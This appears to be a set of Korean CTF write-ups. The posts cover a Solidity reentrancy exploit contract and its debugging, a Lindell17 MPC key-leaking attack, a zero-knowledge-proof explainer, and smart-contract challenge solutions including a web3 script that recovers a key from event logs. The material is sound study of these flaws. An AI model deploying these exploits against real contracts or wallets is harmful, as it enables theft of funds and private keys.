뻘짓1 - donate의 value를 높이면 될거라는 말을 어디선가 듣고 이유는 생각도 안하고 무지성으로 1로 올려서 해봤다.
→ 바로 1이더 인스턴스에 헌납…
이후로 몇 시간동안 위의 코드로 이것저것 해보다가..
인스턴스에게 총 1.0051이더를 헌납했다.. (초기값 0.001)
물론 내 잘못으로 이렇게 됐지만 저 인스턴스를 향한 적대감이 생겼다. 😈 (워게임 풀면서 적대감까지 생긴건 처음인듯..)
계속 리모트로 하다가 내 sepolia가 다 털릴 것 같아서 로컬로 피신했다. (로컬에서는 safemath 안쓰고 솔리디티 버전을 0.8.0으로 했다. 이는 훗날 의도치 않게 배울 점을 준다. 🙃)
- - - - - - - 여기서부터 ghXst 형님 등장 - - - - - - - -
왜 안되지?????????? 하면서 구글링도 해보고 이곳저곳 물어봤는데 답이 잘 안 나왔다.
(여기가 핵심) 그러다 ghXst 형님이 공격 함수를 분리해보라고 했다.
초기의 익스 코드에서는 constructor에서 donate와 withdraw를 모두 호출했다.
constructor code가 실행중일 때에는 새로 생성된 주소(address(this))는 존재하지만 본질적인 body code는 없는 상태이다. (sender와 nonce는 정해졌으니 주소는 deterministic하게 결정되지만 body code는 없는 상태인 것으로 이해했다.)
정확히 receive된 message call이 실행되지 않는다고 한다. (message call은 sender, transaction originator, recipient, value, gas 등을 parameter로 포함)
로컬에서 실험해보니 donate, withdraw은 constructor 내에서 한 번씩 실행이 되었지만 문제 컨트랙트에서 익스 컨트랙트로 오는 message call은 실행되지 않았다. 즉, constructor내부에서 다른 컨트랙트로 보내는 message call은 실행이 되나, constructor 실행이 끝나지 않은 상황에서 다른 컨트랙트에서 오는(received) message call은 실행되지 않는 것이다.
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;
interface reentrance {
function donate(address) external payable;
function withdraw(uint256) external;
}
contract Attack {
reentrance Ex;
address target = 0xCba....; // 로컬에서 배포한 문제 컨트랙트
constructor() public {
Ex = reentrance(target);
}
function attack() public payable {
Ex.donate{value: 0.001 ether}(address(this));
Ex.withdraw(100000000000000); // 0.0001 ether
}
receive() external payable {
if (target.balance > 0) {
Ex.withdraw(100000000000000); // 0.0001 ether
}
}
}
위 코드를 실행해보니
reentrancy attack이 수행되긴 하지만 out of gas가 뜬다.
뻘짓2 - 문제 컨트랙트를 로컬에서 배포할 때, 넉넉히 10이더를 줬다. 그래놓고 공격할 때 0.0001씩 빼내니 당연히 gas가 부족할 수밖에...
donate의 value와 withdraw의 인자를 모두 1이더로 바꿔보았다.
그랬더니 위와 같은 에러가 떴다.
왜 에러가 뜨는지 잘 모르겠어서 익스코드를 수정하기 시작했다. (결론적으로 익스코드랑 에러는 관련이 없긴 했다. 🥲) target.balance를 event로 찍어보기도 하고 코드도 ghXst 형님의 조언대로 더 깔끔하게 바꿨다.
수정한 코드는 다음과 같다.
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;
interface reentrance {
function donate(address) external payable;
function withdraw(uint256) external;
}
contract Attack {
reentrance Ex;
uint amount;
event LogBalance(uint balance);
constructor(address payable target) public {
Ex = reentrance(target);
}
function attack() public payable {
Ex.donate{value: msg.value}(address(this));
amount = msg.value;
Ex.withdraw(amount);
}
function giveme(uint256 a, address payable addr) public {
addr.transfer(a);
}
receive() external payable {
emit LogBalance(address(Ex).balance);
if (address(Ex).balance > 0) {
Ex.withdraw(amount);
}
}
}
(여전히 위의 똑같은 에러는 남)
결론적으로 underflow에러가 난 이유는 solidity 버전 차이 때문이었다.
문제 컨트랙트에서 withdraw함수를 호출하면 balances에서 amount를 빼는데, 재진입하면서 이것이 음수가 되고 underflow가 났던 것이다. (뺄 때는 Safemath를 쓰지 않음)
알고보니 solidity 0.8버전부터 자체적으로 underflow를 잡아서 나는 오류였다. 따라서 리모트로 할 때의 문제 버전은 0.6.12였으므로 리모트에서는 위 코드가 먹힐 것이라는 생각을 할 수 있었다.
이제 버전만 바꿔주고 리모트로 해볼 차례이다.
뻘짓3 - 1.0061이더를 가지고 있는 인스턴스를 털어야 하는데 attack함수를 호출할 때 0.001ether만 줌 (같은 실수를 반복했다..)
→ 당연히 out of gas가 뜨겠죠?
그래도 44번 (1.0061 - 0.9621 = 0.044) 빼낸 것을 볼 수 있다. 🤣 중간에 out of gas가 난 것이다.
ㅋㅋㅋㅋㅋㅋㅋㅋ... (초록이다가 중간부터 out of gas가 뜬 것을 볼 수 있다.)
어쨌든 0.9621 남았으니 attack함수를 호출할 때 0.9621이더를 value로 줘서 그냥 2번으로 공격을 끝내려고 했는데 내 계좌에 0.5이더밖에 없었다..
좀 더 쪼개서 0.3207정도로 할 수도 있는데 ghXst 형님이 갑자기 3이더를 주셨다. 🤩
이제 드디어 내 이더를 되돌려 받을 때이다. (매우 기쁜 상태)
예상대로 2번만에 모두 내가 배포한 컨트랙트로 인스턴스의 이더를 송금하였다.
드디어 이 녀석 잔고를 0으로 만들었다. 😎
내가 배포한 컨트랙트에 giveme함수를 미리 만들어놨기에 원하는만큼 원하는 주소로 송금할 수 있다. 바로 내 주소로 컨트랙트의 모든 잔고를 송금했다. 😋😋😋
constructor 관련 이슈, 반복해서 쓰는 값을 하드코딩한 점, 오류 원인을 찾을 때 event를 쓴 점, 로컬에서 충분히 test를 진행해본 점, 버전에 따른 underflow 패치 등등 초보적인 실수부터 모르면 찾기 어려운 문제까지 다양하게 배웠다.
Lindell17 protocol은 2017년 Lindell에 의해 개발되었으며 대표적인 MPC 중 하나이다. Lindell17 protocol에서는 two parties가 ECDSA key의 분리된 share을 생성하고 두 party가 모두 message를 sign하고 싶을 때에만 sign할 수 있다.
위 과정으로 인해 Bob은 Alice로부터 $D$를 받아 valid signature인 $s$를 계산할 수 있다.
결론적으로 Alice와 Bob은 message $m$에 대한 서명 $r, s$를 protocol을 통해 생성할 수 있다.
Broken Record Attack
Bob은 $x_B - y_B \ (mod \ 2^l) = 0$ 인 경우에만 signature을 올바르게 생성할 수 있다. 따라서 Alice(attacker)는 $l$을 1씩 늘려가며 Bob의 response에 따라 $x_B$의 lsb를 하나씩 leak할 수 있다.
Proof
Alice가 $k_A = 2^l$로 고른다면 $s = (2^lk_B)^{-1}(m+r(x_A+x_B)) \ (mod \ q)$ 가 된다. $\zeta = 2^{-l}(m+rx_A) \ (mod \ q), \zeta' = y_Br'2^{-l} \ (mod \ q)$라 하면
)
위와 같은 과정을 통해 증명이 된다.
혹여나 Broken record attack 관련 wargame을 풀고 싶다면 DownUnderCTF2024에 출제된 super party computation을 풀어보길 바란다. CVE-2023-33242기반의 문제이며 이 문제의 Mulshare oracle에서 $x_A+x_B$가 아닌 $x_Ax_B$로 계산하지만 공격 자체는 완벽히 동일하게 통한다.
이 글에서는 interactive ZKP와 non-interactive ZKP가 무엇인지와 그 예시에 대하여 알아본다.
Interactive proof system이란 prover와 verifier 사이의 정보를 교환하는 computation을 모델링한 이론적인 컴퓨팅 모델이다. Interactive proof에서는 prover가 infinite computing power을, verifier은 제한된 computing power을 가지고 있으므로 주로 prover가 dishonest한 경우를 가정하고 공격 시나리오를 생각한다.
하지만 verifier가 dishonest한 경우를 고려하기 시작하면서 ZKP가 등장하였다.
Property of ZKP
ZKP는 항상 다음과 같은 조건을 모두 만족시켜야 한다.
Completeness : honest prover가 secret을 알고 있다면 honest verifier은 이를 납득할 수 있다.
Soundness : honest verifier가 납득한다면 prover은 secret을 알고 있는 것이다. 즉, prover가 secret을 모른다면 verifier을 납득시킬 수 없다.
Zero-knowledgeness : dishonest verifier는 secret에 대한 그 어느 정보도 알 수 없다.
Fiat-Shamir protocol
Interactive ZKP의 대표적인 예시인 Fiat-Shamir protocol을 알아보자.
Goal $v$와 큰 소수 2개의 곱으로 이루어진 $n$에 대하여 $v = s^2 \ (mod \ n)$을 만족하는 $s$가 존재함을 prover가 verifier에게 납득시키려 한다.
setup private input는 prover만 알고 있고, public input는 prover와 verifier 모두가 알고 있는 정보이다.
private input : $s$
public input : $n$, 그리고 $v = s^2 \ (mod \ n)$를 만족하는 $v$
Commitment : Prover은 random한 수 $r$을 골라 verifier에게 $r$에 대한 commitment $x$를 전달한다.
Challenge : Verifier은 prover에게 0 또는 1을 challenge값으로 전달한다.
Soundness $e=1 \rightarrow$ $x = \frac{r^2}{v}$로 Commitment에서 보냄 $y=r$로 response하면 verification통과, 즉, 50%확률로 verifier의 $e$를 예상하여 통과 가능 여러 번 반복하므로 soundness도 만족
Zero-knowledgeness 원래는 simulator을 생성하여 얻을 수 있는 정보와 실제를 비교하여 같음을 증명해야 하지만 brief하게 설명하자면 verifier은 $s$에 대한 어느 정보도 얻지 못하므로 만족
Interactive ZKP의 경우, prover와 verifier가 항상 on-line상태여야 하고 연산을 반복해야 하므로 비효율적이라는 단점이 있다. 그래서 나온게 non-interactive ZKP이다.
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
import {Rivals} from "./Rivals.sol";
contract Setup {
Rivals public immutable TARGET;
constructor(bytes32 _encryptedFlag, bytes32 _hashed) payable {
TARGET = new Rivals(_encryptedFlag, _hashed);
}
function isSolved(address _player) public view returns (bool) {
return TARGET.solver() == _player;
}
}
solver를 msg.sender로 만들어야 한다. talk함수에서 if문의 조건을 만족시키면 Voice(5)가, 그렇지 못하면 Voice(block.timestamp%5)가 수행된다.
유일하게 public변수인 solver을 출력해보면 초기값인 0이 아니라 다른 주소이다. 즉, 이미 talk함수를 호출하여 if문의 조건을 충족시켜 solver가 특정 주소로 변한 것이다. 여기서 중요한 점은 talk함수를 호출하면 무조건 event가 발생하며, if문의 조건을 충족시킨 경우에만 이벤트의 인자가 5가 된다는 것이다. 따라서 event log에서 이를 찾아서 input, 즉, key를 leak할 수 있다.
ex.py
from web3 import Web3
import requests
import json
url = "http://94.237.54.214:59399"
info = json.loads(requests.get(url + "/connection_info").content)
privkey = info["PrivateKey"]
target_addr = info["TargetAddress"]
pub_address = info["Address"]
w3 = Web3(Web3.HTTPProvider(url + '/rpc'))
def string_to_bytes32(text):
return Web3.to_bytes(text=text).ljust(32, b'\0')
contract = w3.eth.contract(address=target_addr, abi = open("abi.json", "r").read())
logs = contract.events.Voice().get_logs(fromBlock=0)
for log in logs:
tx_receipt = w3.eth.wait_for_transaction_receipt(log['transactionHash'].hex())
if tx_receipt['logs'][0]['topics'][1] == b'\x00'*31 + b'\x05':
print("find!!!")
tx_hash = log['transactionHash'].hex()
break
key = w3.eth.get_transaction(tx_hash)['input'].hex()
key = bytes.fromhex(key[2:])[4:] # key is including function selector which is 4 bytes
transaction = contract.functions.talk(key).build_transaction(
{
"chainId": w3.eth.chain_id,
"gasPrice": w3.eth.gas_price,
"from": pub_address,
"nonce": w3.eth.get_transaction_count(pub_address),
"value": 0
}
)
sign_transaction = w3.eth.account.sign_transaction(transaction, private_key=privkey)
tx_hash = w3.eth.send_raw_transaction(sign_transaction.rawTransaction)
tx_receipt = w3.eth.wait_for_transaction_receipt(tx_hash)
print(requests.get(url + '/flag').content.decode())
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
contract Creature {
uint256 public lifePoints;
address public aggro;
constructor() payable {
lifePoints = 1000;
}
function attack(uint256 _damage) external {
if (aggro == address(0)) {
aggro = msg.sender;
}
if (_isOffBalance() && aggro != msg.sender) {
lifePoints -= _damage;
} else {
lifePoints -= 0;
}
}
function loot() external {
require(lifePoints == 0, "Creature is still alive!");
payable(msg.sender).transfer(address(this).balance);
}
function _isOffBalance() private view returns (bool) {
return tx.origin != msg.sender;
}
}
Setup.sol
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
import {Creature} from "./Creature.sol";
contract Setup {
Creature public immutable TARGET;
constructor() payable {
require(msg.value == 1 ether);
TARGET = new Creature{value: 10}();
}
function isSolved() public view returns (bool) {
return address(TARGET).balance == 0;
}
}
tx.origin과 msg.sender가 달라야 한다. tx.origin은 EOA로 고정이므로 중간에 attack을 호출하는 Middle 컨트랙트를 배포하여 msg.sender가 Middle 컨트랙트의 주소가 되도록 하면 된다. 또한, aggro가 msg.sender와 달라야 하고 초기값인 0이면 msg.sender로 설정되므로 tx.origin에서 우선 attack함수를 호출하여 aggro를 tx.origin으로 설정해줘야 한다.